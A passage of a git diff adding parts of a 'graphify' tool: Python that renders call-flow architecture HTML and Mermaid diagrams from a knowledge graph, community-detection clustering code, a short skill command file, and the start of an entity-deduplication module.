{group_id}["{safe_mermaid_text(source_file)}"]') + indent = " " + else: + indent = " " + for node in group: + mid = node_mermaid_id(node) + lines.append(f'{indent}{mid}("{node_label(node)}")') + class_lines.append(f" class {mid} {node_kind(node)};") + if len(groups) > 1 and len(group) > 1: + lines.append(" end") + + included = 0 + for edge in sorted(visible_edges, key=edge_score, reverse=True): + if included >= max_edges: + break + src_id = node_mermaid_id({"id": edge.get("source", "")}) + tgt_id = node_mermaid_id({"id": edge.get("target", "")}) + rel = relation_label(edge.get("relation", ""), lang) + lines.append(f" {src_id} -->|{rel}| {tgt_id}") + included += 1 + + omitted_nodes = max(0, len(nodes) - len(selected_nodes)) + omitted_edges = max(0, len(visible_edges) - included) + if omitted_nodes or omitted_edges: + lines.append(f" %% Omitted for readability: {omitted_nodes} nodes, {omitted_edges} edges") + lines.extend(class_lines) + lines.extend(mermaid_class_defs()) + return "\n".join(lines) + + +# ────────────────────────────────────────────── +# 7. HTML generators +# ────────────────────────────────────────────── + +def generate_nav(sections: list) -> str: + """Generate the sticky navigation bar.""" + links = [] + for sec in sections: + links.append(f'
    {escape(sec["name"])}') + return '" + + +def node_display_name(node: dict | None, fallback: str = "") -> str: + """Readable node label for tables and summaries.""" + if not node: + return str(fallback or "") + label = str(node.get("label") or node.get("id") or fallback or "") + return humanize_label(label, node.get("source_file", "")) + + +def format_node_refs(node_ids: set, node_by_id: dict, lang: str, empty_text: str, limit: int = 3) -> str: + """Render node references as readable labels instead of internal IDs.""" + if not node_ids: + return escape(empty_text) + parts = [] + for nid in sorted(node_ids, key=lambda item: node_display_name(node_by_id.get(item), item).lower())[:limit]: + node = node_by_id.get(nid) + label = node_display_name(node, nid) + source = safe_file_path((node or {}).get("source_file", "")) + if source: + parts.append(f"{escape(label)}
    {escape(source)}") + else: + parts.append(f"{escape(label)}") + if len(node_ids) > limit: + parts.append(escape(pick_text(lang, f"+{len(node_ids) - limit} 个更多", f"+{len(node_ids) - limit} more"))) + return "
    ".join(parts) + + +def generate_call_table_rows(nodes: list, section_edges: list, lang: str) -> str: + """Generate call table row scaffolding for a section's nodes.""" + if not nodes: + return "" + + # Build source/target lookup from edges + node_by_id = {n.get("id"): n for n in nodes} + callers = defaultdict(set) + callees = defaultdict(set) + for e in section_edges: + src = e.get("source", "") + tgt = e.get("target", "") + if e.get("relation") in ("calls", "imports", "imports_from", "uses", "method"): + callers[tgt].add(src) + callees[src].add(tgt) + + rows = [] + for i, n in enumerate(nodes[:30], 1): # cap at 30 rows + nid = n.get("id", "") + label = n.get("label", nid) + source_file = safe_file_path(n.get("source_file", "")) + file_type = n.get("file_type", "code") + + # Suggest a tag type based on file_type and label heuristics + tag = _suggest_tag(label, file_type, lang, node_kind(n)) + + caller_text = format_node_refs( + callers.get(nid, set()), + node_by_id, + lang, + pick_text(lang, "外部入口 / 无直接入边", "External entry / no inbound edge"), + ) + callee_text = format_node_refs( + callees.get(nid, set()), + node_by_id, + lang, + pick_text(lang, "无直接出边", "No direct outbound edge"), + ) + + rows.append(f""" + {i} + {escape(label)}
    {escape(source_file)} + {tag} + {caller_text} + {callee_text} + {escape(_describe_node(label, source_file, file_type, lang))} +""") + + return "\n".join(rows) + + +def _suggest_tag(label: str, file_type: str, lang: str, kind: str = "") -> str: + """Heuristic tag suggestion based on label name and file type.""" + lower = label.lower() + names = { + "concept": ("概念", "Concept", "tag-func"), + "entry": ("入口", "Entry", "tag-cmd"), + "api": ("API", "API", "tag-endpoint"), + "async": ("异步", "Async", "tag-async"), + "klass": ("类", "Class", "tag-class"), + "ui": ("UI", "UI", "tag-hook"), + "module": ("模块", "Module", "tag-class"), + "test": ("测试", "Test", "tag-func"), + "function": ("函数", "Function", "tag-func"), + } + if kind in names: + zh, en, cls = names[kind] + return f'{pick_text(lang, zh, en)}' + if file_type == "rationale": + return f'{pick_text(lang, "概念", "Concept")}' + if any(kw in lower for kw in ("cli", "command", "scan", "serve", "chat", "config")): + if "group" in lower or "command" in lower: + return f'{pick_text(lang, "CLI命令", "CLI")}' + if any(kw in lower for kw in ("router", "endpoint", "api", "/api/")): + return f'{pick_text(lang, "API端点", "API")}' + if any(kw in lower for kw in ("async", "await", "stream")): + return f'{pick_text(lang, "异步", "Async")}' + if any(kw in lower for kw in ("class", "model", "schema", "dataclass", "pydantic")): + return f'{pick_text(lang, "类", "Class")}' + if any(kw in lower for kw in ("hook", "usestate", "useeffect", "store")): + return 'Hook' + if any(kw in lower for kw in ("component", "props", "tsx", "jsx", "render")): + return f'{pick_text(lang, "组件", "Component")}' + return f'{pick_text(lang, "函数", "Function")}' + + +def _describe_node(label: str, source_file: str, file_type: str, lang: str) -> str: + """Generate a compact human-readable description for a graph node.""" + lower = label.lower() + source = source_file or pick_text(lang, "项目", "project") + if file_type == "rationale": + return pick_text(lang, f"设计说明:{label}", f"Design note for {label}.") + if file_type == "document": + return pick_text(lang, f"文档入口,描述 {label} 相关能力。", f"Documentation node describing {label}.") + if label.endswith(".py") or label.endswith(".tsx") or label.endswith(".ts"): + return pick_text(lang, f"{source} 中的模块文件,承载该层主要实现。", f"Module file in {source}.") + if "config" in lower: + return pick_text(lang, "读取、解析或持久化项目配置。", "Reads, resolves, or persists project configuration.") + if "scan" in lower: + return pick_text(lang, "触发项目扫描或处理扫描状态。", "Starts scanning or handles scan status.") + if "ingest" in lower or "clone" in lower or "git" in lower: + return pick_text(lang, "把本地目录或远程仓库转换为分析上下文。", "Turns a local path or remote repository into analysis context.") + if "prompt" in lower: + return pick_text(lang, "构造发送给 LLM 的结构化提示。", "Builds structured prompts for model calls.") + if "analy" in lower: + return pick_text(lang, "编排分析流程并产出结构化文档数据。", "Orchestrates analysis and returns structured documentation data.") + if "graph" in lower or "dependency" in lower: + return pick_text(lang, "构建依赖关系并提供排序或图形化数据。", "Builds dependency relationships and graph data.") + if "export" in lower or "markdown" in lower or "html" in lower: + return pick_text(lang, "将文档数据导出为目标格式。", "Exports documentation data to a target format.") + if "chat" in lower or "rag" in lower or "retrieve" in lower: + return pick_text(lang, "支撑检索增强问答或流式聊天。", "Supports retrieval-augmented Q&A or streaming chat.") + if "wiki" in lower or "page" in lower or "sidebar" in lower: + return pick_text(lang, "组织文档页面、侧边栏或内容读取。", "Organizes documentation pages, navigation, or content lookup.") + if "cache" in lower or "hash" in lower: + return pick_text(lang, "缓存分析结果或生成缓存键。", "Caches analysis results or computes cache keys.") + if "test" in lower: + return pick_text(lang, "验证导入、入口点或版本等基础行为。", "Verifies imports, entry points, or version behavior.") + return pick_text(lang, f"{source} 中的 {label} 节点。", f"{label} node in {source}.") + + +def generate_header(sections: list, meta: dict, lang: str) -> str: + """Generate the HTML header, title, subtitle, and nav.""" + project_name = str(meta.get("project_name", "Project")) + commit = str(meta.get("built_at_commit", "unknown"))[:7] + + if lang.startswith("zh"): + title = f"{project_name} — 完整调用流程与架构文档" + subtitle = ( + f"由 graphify 知识图谱生成:{meta.get('node_count', '?')} 个节点、" + f"{meta.get('edge_count', '?')} 条边、{meta.get('community_count', '?')} 个社区。" + f"Commit: {commit}" + ) + else: + title = f"{project_name} — Complete Call Flow & Architecture Documentation" + subtitle = ( + f"Generated from graphify knowledge graph: {meta.get('node_count', '?')} nodes, " + f"{meta.get('edge_count', '?')} edges, {meta.get('community_count', '?')} communities. " + f"Commit: {commit}" + ) + + return f"""

    {escape(title)}

    +

    {escape(subtitle)}

    + +{generate_nav(sections)} +""" + + +def derive_flow_chain(sections: list, classified_edges: dict) -> str: + """Derive a readable section flow from inter-section edges.""" + section_names = {sec["id"]: sec.get("name", sec["id"]) for sec in sections} + order = [sec["id"] for sec in sections if sec["id"] != "overview"] + if not order: + return "Graph nodes -> documentation" + + outgoing = defaultdict(Counter) + incoming = Counter() + for (src, tgt), data in section_edge_summary(classified_edges).items(): + outgoing[src][tgt] += data["count"] + incoming[tgt] += data["count"] + + start = min(order, key=lambda sid: (incoming.get(sid, 0), order.index(sid))) + chain = [start] + seen = {start} + current = start + while len(chain) < min(7, len(order)): + candidates = [(count, tgt) for tgt, count in outgoing.get(current, {}).items() if tgt not in seen] + if candidates: + _, nxt = max(candidates) + else: + remaining = [sid for sid in order if sid not in seen] + if not remaining: + break + nxt = remaining[0] + chain.append(nxt) + seen.add(nxt) + current = nxt + return " -> ".join(section_names.get(sid, sid) for sid in chain) + + +def generate_overview_cards(meta: dict, report_text: str, sections: list, + section_nodes_map: dict, classified_edges: dict, + lang: str) -> str: + """Generate generic overview cards.""" + rows = [] + for sec in sections: + if sec["id"] == "overview": + continue + communities = ", ".join(str(c) for c in sec.get("communities", [])) + node_count = len(section_nodes_map.get(sec["id"], [])) + rows.append( + f"{escape(sec['name'])}{node_count}{escape(communities)}" + ) + + flow = derive_flow_chain(sections, classified_edges) + layer_title = pick_text(lang, "架构层次", "Architecture Layers") + layer_cols = pick_text(lang, "层节点社区", "LayerNodesCommunities") + flow_title = pick_text(lang, "核心数据流", "Core Flow") + return f"""
    +
    +

    {layer_title}

    + + {layer_cols} + {''.join(rows)} +
    +
    +
    +

    {flow_title}

    +
    {escape(flow)}
    +
    +
    """ + + +def section_keywords(nodes: list, limit: int = 5) -> list: + """Pick representative words from labels and file names.""" + counts = Counter() + stopwords = { + "the", "and", "for", "with", "from", "this", "that", "class", "function", + "method", "file", "src", "lib", "core", "index", "main", "init", "py", + "ts", "tsx", "js", "jsx", "go", "rs", "java", "html", "css", + } + for node in nodes: + text = f"{node.get('label', '')} {node.get('source_file', '')}".replace("/", " ").replace("_", " ").replace("-", " ") + for raw in text.split(): + word = "".join(ch for ch in raw.lower() if ch.isalnum()) + if len(word) < 3 or word in stopwords: + continue + counts[word] += 1 + return [word for word, _ in counts.most_common(limit)] + + +def generate_section_intro(sec: dict, nodes: list, edge_count: int, lang: str) -> str: + """Generate the section introductory paragraph.""" + file_counts = Counter(n.get("source_file") for n in nodes if n.get("source_file")) + files = [safe_file_path(path) for path, _ in file_counts.most_common(3)] + keywords = section_keywords(nodes, 4) + if is_zh(lang): + file_text = "、".join(files) if files else "未标注源文件" + keyword_text = "、".join(keywords) if keywords else sec.get("name", sec["id"]) + text = ( + f"{sec.get('name', sec['id'])} 汇集了与 {keyword_text} 相关的实现," + f"主要分布在 {file_text}。本节覆盖 {len(nodes)} 个节点、{edge_count} 条内部边," + "图中只展示最有代表性的调用关系以保持可读性。" + ) + else: + file_text = ", ".join(files) if files else "unmapped files" + keyword_text = ", ".join(keywords) if keywords else sec.get("name", sec["id"]) + text = ( + f"{sec.get('name', sec['id'])} groups implementation around {keyword_text}, " + f"mostly in {file_text}. This section covers {len(nodes)} nodes and {edge_count} internal edges; " + "the diagram shows only representative relationships to stay readable." + ) + return f"

    {escape(text)}

    " + + +def generate_section_cards(sec: dict, nodes: list, section_edges: list, lang: str) -> str: + """Generate key file and design-note cards for a section.""" + file_counts = defaultdict(int) + for n in nodes: + source_file = n.get("source_file") or "" + if source_file: + file_counts[source_file] += 1 + top_files = sorted(file_counts.items(), key=lambda item: (-item[1], item[0]))[:8] + if top_files: + file_rows = "\n".join( + f"{escape(safe_file_path(path))}{count} {escape(pick_text(lang, '个节点', 'nodes'))}" + for path, count in top_files + ) + else: + file_rows = f'{escape(pick_text(lang, "无源文件映射", "No source file mapping"))}' + + relation_counts = Counter(edge.get("relation", "relates") for edge in section_edges if should_include_edge(edge)) + relation_text = ", ".join(f"{relation_label(rel, lang)} x{count}" for rel, count in relation_counts.most_common(4)) + if not relation_text: + relation_text = pick_text(lang, "未检测到高置信调用边", "No high-confidence call edges detected") + note = pick_text( + lang, + f"本节由 graphify 社区聚类生成。关系概况:{relation_text}。图表优先展示高置信、跨节点调用或使用关系,完整节点清单位于表格中。", + f"This section comes from graphify community clustering. Relationship summary: {relation_text}. The diagram prioritizes high-confidence calls or usage relationships; the table keeps the broader node inventory.", + ) + key_files = pick_text(lang, "关键文件", "Key Files") + role = pick_text(lang, "覆盖节点", "Coverage") + design_notes = pick_text(lang, "设计备注", "Design Notes") + return f"""
    +
    +

    {key_files}

    + + + {file_rows} +
    File{role}
    +
    +
    +

    {design_notes}

    +

    {escape(note)}

    +
    +
    """ + + +# ────────────────────────────────────────────── +# 8. Main entry point +# ────────────────────────────────────────────── + +class CallflowOptions: + """Options for call-flow architecture HTML generation.""" + + def __init__( + self, + project: str | Path | None = None, + *, + graphify_out: str | Path | None = None, + graph: str | Path | None = None, + report: str | Path | None = None, + labels: str | Path | None = None, + sections: str | Path | None = None, + output: str | Path | None = None, + lang: str = "auto", + max_sections: int = 15, + diagram_scale: float = 1.0, + max_diagram_nodes: int = 18, + max_diagram_edges: int = 24, + ): + self.project = str(project) if project is not None else None + self.graphify_out = str(graphify_out) if graphify_out is not None else None + self.graph = str(graph) if graph is not None else None + self.report = str(report) if report is not None else None + self.labels = str(labels) if labels is not None else None + self.sections = str(sections) if sections is not None else None + self.output = str(output) if output is not None else None + self.lang = lang + self.max_sections = max_sections + self.diagram_scale = diagram_scale + self.max_diagram_nodes = max_diagram_nodes + self.max_diagram_edges = max_diagram_edges + + +def _report_highlights(report_text: str, lang: str) -> str: + """Extract a compact highlights card from GRAPH_REPORT.md.""" + if not report_text.strip(): + return "" + + lines = report_text.splitlines() + keep: list[str] = [] + in_gods = False + in_summary = False + for line in lines: + stripped = line.strip() + if stripped.startswith("## "): + in_summary = stripped == "## Summary" + in_gods = stripped.startswith("## God Nodes") + continue + if in_summary and stripped.startswith("- "): + keep.append(stripped[2:]) + elif in_gods and re.match(r"^\d+\.", stripped): + keep.append(stripped) + if len(keep) >= 6: + break + + if not keep: + return "" + + title = pick_text(lang, "图谱报告摘要", "Graph Report Highlights") + items = "\n".join(f"
  • {escape(item)}
  • " for item in keep) + return f"""
    +

    {title}

    +
      +{items} +
    +
    """ + + +def write_callflow_html( + project: str | Path | None = None, + *, + graphify_out: str | Path | None = None, + graph: str | Path | None = None, + report: str | Path | None = None, + labels: str | Path | None = None, + sections: str | Path | None = None, + output: str | Path | None = None, + lang: str = "auto", + max_sections: int = 15, + diagram_scale: float = 1.0, + max_diagram_nodes: int = 18, + max_diagram_edges: int = 24, + verbose: bool = False, +) -> Path: + """Generate call-flow architecture HTML from graphify output files.""" + args = CallflowOptions( + project, + graphify_out=graphify_out, + graph=graph, + report=report, + labels=labels, + sections=sections, + output=output, + lang=lang, + max_sections=max_sections, + diagram_scale=diagram_scale, + max_diagram_nodes=max_diagram_nodes, + max_diagram_edges=max_diagram_edges, + ) + + paths = resolve_graphify_paths(args) + if not paths["graph"].exists(): + raise FileNotFoundError( + f"graphify output not found: {paths['graph']}. " + "Run graphify first or pass --graph /path/to/graph.json." + ) + + # Load data + nodes, edges, hyperedges, meta = load_graph(paths["graph"]) + labels = load_labels(paths["labels"]) + lang = detect_lang(args.lang, nodes, labels) + if paths["sections"]: + sections = load_sections(paths["sections"]) + else: + sections = derive_sections_from_communities(nodes, labels, lang, args.max_sections) + sections = normalize_sections(sections, lang) + report_text = load_report(paths["report"]) + + if not nodes: + raise ValueError("graph.json contains 0 nodes") + if len(sections) <= 1: + raise ValueError("no sections defined") + + if verbose and len(nodes) >= 5000: + print("WARNING: Large graph -- Mermaid rendering may be slow. Consider --max-sections 5.", file=sys.stderr) + + node_ids = {node.get("id") for node in nodes} + missing_endpoint_edges = [edge for edge in edges if edge.get("source") not in node_ids or edge.get("target") not in node_ids] + if verbose and missing_endpoint_edges: + print(f"WARNING: {len(missing_endpoint_edges)} edges reference nodes not present in graph.json.", file=sys.stderr) + + meta["project_name"] = infer_project_name(str(paths["graph"]), meta) + meta["node_count"] = len(nodes) + meta["edge_count"] = len(edges) + meta["hyperedge_count"] = len(hyperedges) + + if args.output: + output_path = Path(args.output).expanduser() + if not output_path.is_absolute(): + output_path = paths["base"] / output_path + else: + output_path = paths["graphify_out"] / f"{safe_filename(meta['project_name'])}-callflow.html" + + if verbose: + print(f"Loaded: {len(nodes)} nodes, {len(edges)} edges, {len(sections)} sections") + print(f"Graph: {paths['graph']}") + + # Build index + comm_idx = build_community_index(nodes) + meta["community_count"] = len(comm_idx) + section_nodes_map = build_section_node_map(sections, comm_idx) + classified = classify_edges(edges, section_nodes_map) + + # Build HTML + html = [] + doc_title = ( + f"{meta.get('project_name', 'Project')} — 完整调用流程与架构文档" + if lang.startswith("zh") + else f"{meta.get('project_name', 'Project')} — Complete Call Flow & Architecture Documentation" + ) + + # Doctype and head + html.append(f""" + + + + +{escape(doc_title)} + + + + +
    +""") + + # Header + nav + html.append(generate_header(sections, meta, lang)) + + # ── Architecture Overview (Section "overview") ── + overview_name = sections[0].get("name", "Architecture Overview") if sections else "Architecture Overview" + html.append(f""" +

    1. {escape(str(overview_name))}

    + +
    +""") + html.append(generate_overview_graph(sections, section_nodes_map, classified, labels, lang, args.diagram_scale)) + html.append("""
    +""") + html.append(generate_overview_cards(meta, report_text, sections, section_nodes_map, classified, lang)) + report_card = _report_highlights(report_text, lang) + if report_card: + html.append(f'
    \n {report_card}\n
    ') + html.append("
    ") + + # ── Per-section content ── + section_num = 1 # overview was #1 + for sec in sections: + if sec["id"] == "overview": + continue + section_num += 1 + sid = sec["id"] + name = sec.get("name", sid) + sec_nodes = section_nodes_map.get(sid, []) + sec_edges = classified.get("intra", {}).get(sid, []) + + edge_count = len(sec_edges) + h3_title = pick_text(lang, "调用明细", "Call Details") + number_header = "#" + function_header = pick_text(lang, "节点", "Node") + type_header = pick_text(lang, "类型", "Type") + caller_header = pick_text(lang, "调用方", "Caller") + callee_header = pick_text(lang, "被调用/依赖", "Callees") + desc_header = pick_text(lang, "说明", "Description") + + html.append(f""" +

    {section_num}. {escape(str(name))}

    +{generate_section_intro(sec, sec_nodes, edge_count, lang)} + +
    +{generate_section_flowchart(sid, name, sec_nodes, sec_edges, lang, args.diagram_scale, args.max_diagram_nodes, args.max_diagram_edges)} +
    + +

    {h3_title}

    + + + + + + + + + +{generate_call_table_rows(sec_nodes, sec_edges, lang)} +
    {number_header}{function_header}{type_header}{caller_header}{callee_header}{desc_header}
    + +{generate_section_cards(sec, sec_nodes, sec_edges, lang)} +
    +""") + + # ── Section: Hyperedges (if any) ── + if hyperedges: + html.append("""

    Group Relationships (Hyperedges)

    +
    +""") + for he in hyperedges[:9]: + hid = he.get("id", "?") + hlabel = he.get("label", hid) + hnodes = he.get("nodes", []) + hrel = he.get("relation", "") + html.append(f"""
    +

    {escape(str(hlabel))}

    +

    {escape(str(hrel))} — {len(hnodes)} participants

    +
      """) + for hn in hnodes[:5]: + html.append(f"
    • {escape(str(hn))}
    • ") + if len(hnodes) > 5: + html.append(f"
    • ... and {len(hnodes) - 5} more
    • ") + html.append("
    \n
    ") + html.append("
    \n
    ") + + # ── Section: Statistics ── + total_sections = sum(1 for s in sections if s["id"] != "overview") + html.append(f"""

    Project Statistics

    + +
    +
    +

    Graph

    + + + + + + +
    Nodes{len(nodes)}
    Edges{len(edges)}
    Hyperedges{len(hyperedges)}
    Communities{len(comm_idx)}
    Documented Sections{total_sections}
    +
    +
    +

    Edge Confidence

    + + + + +
    EXTRACTED{sum(1 for e in edges if e.get('confidence') == 'EXTRACTED')}
    INFERRED{sum(1 for e in edges if e.get('confidence') == 'INFERRED')}
    AMBIGUOUS{sum(1 for e in edges if e.get('confidence') == 'AMBIGUOUS')}
    +
    +
    +""") + + # ── Footer ── + html.append(f"""
    +

    {escape(str(meta.get('project_name', 'Project')))} — Architecture Documentation

    +

    Generated: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')} · graphify callflow-html

    +
    +""") + + # Close + html.append("""
    + + + + +""") + + # Write output + output = "\n".join(html) + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(output, encoding="utf-8") + + # Summary + mermaid_count = output.count('
    ') + table_count = output.count('') + section_count = output.count('

    dict[str, int]: + """Run community detection. Returns {node_id: community_id}. + + Tries Leiden (graspologic) first — best quality. + Falls back to Louvain (built into networkx) if graspologic is not installed. + + resolution > 1.0 → more, smaller communities. + resolution < 1.0 → fewer, larger communities. + + Output from graspologic is suppressed to prevent ANSI escape codes + from corrupting terminal scroll buffers on Windows PowerShell 5.1. + """ + stable = nx.Graph() + stable.add_nodes_from(sorted(G.nodes(), key=str)) + edge_rows = sorted( + G.edges(data=True), + key=lambda row: ( + str(row[0]), + str(row[1]), + json.dumps(row[2], sort_keys=True, ensure_ascii=False, default=str), + ), + ) + for src, tgt, attrs in edge_rows: + stable.add_edge(src, tgt, **attrs) + + try: + from graspologic.partition import leiden + lsig = inspect.signature(leiden).parameters + kwargs: dict = {} + if "random_seed" in lsig: + kwargs["random_seed"] = 42 + if "trials" in lsig: + kwargs["trials"] = 1 + if "resolution" in lsig: + kwargs["resolution"] = resolution + # Suppress graspologic output to prevent ANSI escape codes from + # corrupting PowerShell 5.1 scroll buffer (issue #19) + old_stderr = sys.stderr + try: + sys.stderr = io.StringIO() + with _suppress_output(): + result = leiden(stable, **kwargs) + finally: + sys.stderr = old_stderr + return result + except ImportError: + pass + + # Fallback: networkx louvain (available since networkx 2.7). + # Inspect kwargs to stay compatible across NetworkX versions — max_level + # was added in a later release and prevents hangs on large sparse graphs. + kwargs: dict = {"seed": 42, "threshold": 1e-4, "resolution": resolution} + if "max_level" in inspect.signature(nx.community.louvain_communities).parameters: + kwargs["max_level"] = 10 + communities = nx.community.louvain_communities(stable, **kwargs) + return {node: cid for cid, nodes in enumerate(communities) for node in nodes} + + +_MAX_COMMUNITY_FRACTION = 0.25 # communities larger than 25% of graph get split +_MIN_SPLIT_SIZE = 10 # only split if community has at least this many nodes +_COHESION_SPLIT_THRESHOLD = 0.05 # re-split communities with cohesion below this +_COHESION_SPLIT_MIN_SIZE = 50 # only cohesion-split if community has at least this many nodes + + +def cluster( + G: nx.Graph, + resolution: float = 1.0, + exclude_hubs_percentile: float | None = None, +) -> dict[int, list[str]]: + """Run Leiden community detection. Returns {community_id: [node_ids]}. + + Community IDs are stable across runs: 0 = largest community after splitting. + Oversized communities (> 25% of graph nodes, min 10) are split by running + a second Leiden pass on the subgraph. + + Accepts directed or undirected graphs. DiGraphs are converted to undirected + internally since Louvain/Leiden require undirected input. + + resolution: passed to Leiden/Louvain. >1.0 = more smaller communities, + <1.0 = fewer larger communities. Default 1.0. + exclude_hubs_percentile: if set (0-100), nodes whose degree exceeds this + percentile are excluded from partitioning and reattached to their + majority-vote neighbour community afterwards. Useful for staging/utility + super-hubs that inflate god-node rankings (#919). + """ + if G.number_of_nodes() == 0: + return {} + if G.is_directed(): + G = G.to_undirected() + if G.number_of_edges() == 0: + return {i: [n] for i, n in enumerate(sorted(G.nodes))} + + # Compute hub exclusion set before removing anything so degree is based on full graph + hub_nodes: set[str] = set() + if exclude_hubs_percentile is not None: + degrees = sorted(d for _, d in G.degree()) + if degrees: + idx = max(0, int(len(degrees) * exclude_hubs_percentile / 100) - 1) + threshold = degrees[idx] + hub_nodes = {n for n, d in G.degree() if d > threshold} + + # Leiden warns and drops isolates - handle them separately + # Also exclude hub nodes from partitioning so they don't pull unrelated + # subsystems into the same community + excluded = hub_nodes + isolates = [n for n in G.nodes() if G.degree(n) == 0 and n not in excluded] + connected_nodes = [n for n in G.nodes() if G.degree(n) > 0 and n not in excluded] + connected = G.subgraph(connected_nodes) + + raw: dict[int, list[str]] = {} + if connected.number_of_nodes() > 0: + partition = _partition(connected, resolution=resolution) + for node, cid in partition.items(): + raw.setdefault(cid, []).append(node) + + # Each isolate becomes its own single-node community + next_cid = max(raw.keys(), default=-1) + 1 + for node in isolates: + raw[next_cid] = [node] + next_cid += 1 + + # Reattach excluded hubs by majority-vote neighbour community + if hub_nodes: + node_community: dict[str, int] = {n: cid for cid, nodes in raw.items() for n in nodes} + for hub in sorted(hub_nodes): + votes: dict[int, int] = {} + for nb in G.neighbors(hub): + cid = node_community.get(nb) + if cid is not None: + votes[cid] = votes.get(cid, 0) + 1 + if votes: + best = min(votes, key=lambda c: (-votes[c], c)) + raw.setdefault(best, []).append(hub) + node_community[hub] = best + else: + raw[next_cid] = [hub] + node_community[hub] = next_cid + next_cid += 1 + + # Split oversized communities + max_size = max(_MIN_SPLIT_SIZE, int(G.number_of_nodes() * _MAX_COMMUNITY_FRACTION)) + final_communities: list[list[str]] = [] + for nodes in raw.values(): + if len(nodes) > max_size: + final_communities.extend(_split_community(G, nodes)) + else: + final_communities.append(nodes) + + # Second pass: re-split low-cohesion communities caused by doc-hub nodes + # that bridge otherwise-unrelated subsystems (e.g. CLAUDE.md connected to everything). + second_pass: list[list[str]] = [] + for nodes in final_communities: + if len(nodes) >= _COHESION_SPLIT_MIN_SIZE and cohesion_score(G, nodes) < _COHESION_SPLIT_THRESHOLD: + splits = _split_community(G, nodes) + second_pass.extend(splits if len(splits) > 1 else [nodes]) + else: + second_pass.append(nodes) + final_communities = second_pass + + # Re-index by size descending. The tuple(sorted(nodes)) tiebreak makes this a + # TOTAL order, so an identical grouping always gets identical community IDs. + # Without it, the hundreds of equal-sized small communities are ordered by the + # partitioner's (not seed-stable) enumeration order, so their integer IDs + # permute run-to-run - which reads as massive "community churn" in a per-node + # cid diff even though the actual grouping is reproducible (#1090 follow-up). + final_communities.sort(key=lambda nodes: (-len(nodes), tuple(sorted(map(str, nodes))))) + return {i: sorted(nodes) for i, nodes in enumerate(final_communities)} + + +def _split_community(G: nx.Graph, nodes: list[str]) -> list[list[str]]: + """Run a second Leiden pass on a community subgraph to split it further.""" + subgraph = G.subgraph(nodes) + if subgraph.number_of_edges() == 0: + # No edges - split into individual nodes + return [[n] for n in sorted(nodes)] + try: + sub_partition = _partition(subgraph) + sub_communities: dict[int, list[str]] = {} + for node, cid in sub_partition.items(): + sub_communities.setdefault(cid, []).append(node) + if len(sub_communities) <= 1: + return [sorted(nodes)] + return [sorted(v) for v in sub_communities.values()] + except Exception: + return [sorted(nodes)] + + +def cohesion_score(G: nx.Graph, community_nodes: list[str]) -> float: + """Ratio of actual intra-community edges to maximum possible.""" + n = len(community_nodes) + if n <= 1: + return 1.0 + subgraph = G.subgraph(community_nodes) + actual = subgraph.number_of_edges() + possible = n * (n - 1) / 2 + return actual / possible if possible > 0 else 0.0 + + +def score_all(G: nx.Graph, communities: dict[int, list[str]]) -> dict[int, float]: + return {cid: cohesion_score(G, nodes) for cid, nodes in communities.items()} + + +def remap_communities_to_previous( + communities: dict[int, list[str]], + previous_node_community: dict[str, int], +) -> dict[int, list[str]]: + """Remap community IDs to maximize overlap with a previous assignment. + + Uses greedy one-to-one matching by intersection size, then assigns fresh IDs + to unmatched communities in deterministic order (size desc, lexical tie-break). + """ + if not communities: + return {} + + new_sets = {cid: set(nodes) for cid, nodes in communities.items()} + old_sets: dict[int, set[str]] = {} + for node, old_cid in previous_node_community.items(): + old_sets.setdefault(old_cid, set()).add(node) + + overlaps: list[tuple[int, int, int]] = [] + for old_cid, old_nodes in old_sets.items(): + for new_cid, new_nodes in new_sets.items(): + overlap = len(old_nodes & new_nodes) + if overlap > 0: + overlaps.append((overlap, old_cid, new_cid)) + overlaps.sort(key=lambda x: (-x[0], x[1], x[2])) + + new_to_final: dict[int, int] = {} + used_old_ids: set[int] = set() + matched_new_ids: set[int] = set() + for _overlap, old_cid, new_cid in overlaps: + if old_cid in used_old_ids or new_cid in matched_new_ids: + continue + new_to_final[new_cid] = old_cid + used_old_ids.add(old_cid) + matched_new_ids.add(new_cid) + + unmatched = [cid for cid in communities if cid not in matched_new_ids] + unmatched.sort(key=lambda cid: (-len(communities[cid]), tuple(sorted(communities[cid])))) + next_id = 0 + for new_cid in unmatched: + while next_id in used_old_ids: + next_id += 1 + new_to_final[new_cid] = next_id + used_old_ids.add(next_id) + next_id += 1 + + remapped: dict[int, list[str]] = {} + for new_cid, nodes in communities.items(): + remapped[new_to_final[new_cid]] = sorted(nodes) + return dict(sorted(remapped.items(), key=lambda kv: kv[0])) diff --git a/skills/graphify/command-kilo.md b/skills/graphify/command-kilo.md new file mode 100644 index 00000000..26b7e7e6 --- /dev/null +++ b/skills/graphify/command-kilo.md @@ -0,0 +1,15 @@ +--- +description: Build or query a graphify knowledge graph +--- + +Invoke the `graphify` skill immediately. + +Pass the full `/graphify` argument string through unchanged. +If no arguments were supplied, treat the target path as `.`. + +Examples: +- `/graphify` +- `/graphify src --update` +- `/graphify query "what connects auth to billing?"` + +Do not answer from raw files before handing off to the `graphify` skill. diff --git a/skills/graphify/dedup.py b/skills/graphify/dedup.py new file mode 100644 index 00000000..b2885fe5 --- /dev/null +++ b/skills/graphify/dedup.py @@ -0,0 +1,429 @@ +"""Entity deduplication pipeline for graphify knowledge graphs. + +Pipeline: exact normalization → entropy gate → MinHash/LSH blocking → +Jaro-Winkler verification → same-community boost → union-find merge. +""" +from __future__ import annotations +import math +import re +import unicodedata +from collections import defaultdict + +from datasketch import MinHash, MinHashLSH +from rapidfuzz.distance import JaroWinkler + + +# ── helpers ─────────────────────────────────────────────────────────────────── + +def _norm(label: str) -> str: + """Lowercase + collapse non-alphanumeric runs to space (Unicode-aware).""" + label = unicodedata.normalize("NFKC", label) + return re.sub(r"[\W_]+", " ", label.casefold(), flags=re.UNICODE).strip() + + +def _entropy(label: str) -> float: + """Shannon entropy in bits/char of the normalised label.""" + s = _norm(label) + if not s: + return 0.0 + freq: dict[str, int] = defaultdict(int) + for ch in s: + freq[ch] += 1 + n = len(s) + return -sum((c / n) * math.log2(c / n) for c in freq.values()) + + +def _shingles(text: str, k: int = 3) -> set[str]: + """Return k-gram character shingles of text.""" + if len(text) < k: + return {text} + return {text[i : i + k] for i in range(len(text) - k + 1)} + + +def _make_minhash(text: str, num_perm: int = 128) -> MinHash: + # Strip spaces so "graph extractor" and "graphextractor" share shingles + m = MinHash(num_perm=num_perm) + for shingle in _shingles(text.replace(" ", "")): + 